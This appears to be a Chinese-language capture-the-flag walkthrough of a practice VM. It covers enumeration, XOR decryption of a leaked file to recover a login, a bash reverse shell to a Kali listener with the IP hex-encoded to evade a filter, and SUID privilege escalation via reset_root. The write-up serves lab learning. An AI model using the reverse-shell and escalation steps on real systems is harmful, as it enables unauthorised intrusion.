攻击机kali:192.168.168.149
主机发现:
靶机ip:192.168.168.150
端口发现
端口:22/80/443
端口扫描和操作系统指纹识别
有一个域名我们,我们使用/etc/hosts绑定ip地址访问看看
我们访问获得三串秘钥,不知道干嘛用的,先留着,再访问https试试
访问https说这是个测试网站,没发现什么有用的信息
使用dirb做目录扫描
使用https协议进行扫描发现两个文件,使用http协议进行扫描发现一个文件,我们分别看看
index这个目录跟刚才一样显示测试网站,没发现什么特别的信息
我们看下一个文件,robots.txt这个文件一般是用来约束爬虫的,表明哪些资源是可以爬取的,从这个文件中我们获得了一个文件名:testingnotes.* ,但是我们不知道后缀,选几个常见的后缀进行测试,如果不行可以在网上搜一下常见后缀,然后复制下来放在burp里面做一个爆破
当这里使用txt为后缀时出现了内容
翻译一下,我们获得三个重要信息
1.加密算法是异或算法,刚才我们获得的三串字符串可能就是秘钥,异或算法后的结果我们再次异或后就能够还原
2.有一个testdata.txt文件就是使用这种方式进行加密的,如果我们解密后可能得到一些有用的信息
3.一个用户名terra 如果有登录页面我们可能用得上
接下来我们看看http协议爆破出来的页面
正好admin是一个登录页面,这下我们刚才获得的用户名就可以使用了,密码暂时还不知道,但是我们刚才获得了一个加密文件,如果将加密文件进行破解,可能会得到一些有用的信息,或许会包含密码
打开用于测试加密的文件 testdata.txt是一段文字,翻译一下从文字本身没有获得太大的信息,只是一段科普知识。
这里对这段文字使用异或算法进行解密,使用我们主页面获取的三段字符串作为秘钥,这里我将这个文本下载下来然后通过一个python脚本进行处理,如下,本身并不复杂,都写了备注看一眼就懂了,将三段字符串依次放入key进行运行,注意这里文本中要将最后那个点也就是英文句号给去除了,不然结果不对
这里三串字符串依次运行,最后得出的结果用十六进制转字符串进行转化,前两个都是乱码,只有最后一个是正常的字符,仔细观察发现是重复的字符串:earthclimatechangebad4humans
使用这串字符加上刚才我们获取到的用户名尝试进行登录
登录成功,我们进入这个页面,这是一个命令运行的界面
我们可以执行一些命令如ls之类的
试试反弹shell
先在kali上进行监听
使用反弹:bash -i >& /dev/tcp/<kali的IP>/<kali监听端口> 0>&1
报错了,显示禁止远程连接,这里将ip进行16进制转化后尝试绕过
成功拿到shell
找一下flag,使用命令find / -name *flag*
接下来就是进行提权了
这里提权没整出来,百度学习了一下其他人的姿势,后面就是抄作业了。
使用find / -perm -u=s -type f 2>/dev/null 查找有权限的文件
u=s表示执行文件的时候以所有者的权限进行执行
这里有个reset_root看文件名意思是重置root的,我们可以试着运行它
在运行的时候会出错,我们可以将文件下载下来进行调试,会发现缺少三个文件,我们需要创建好这三个文件
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
创建完成后再进行执行
可以看到密码已经重置为Earth了,我们切换root
然后我们开始找flag,最后我们在root的家目录发现flag!!
好了,总结一下,总体来说信息发现比较简单,但是异或解密这里会卡住一下,还有提权姿势有待提高。继续努力吧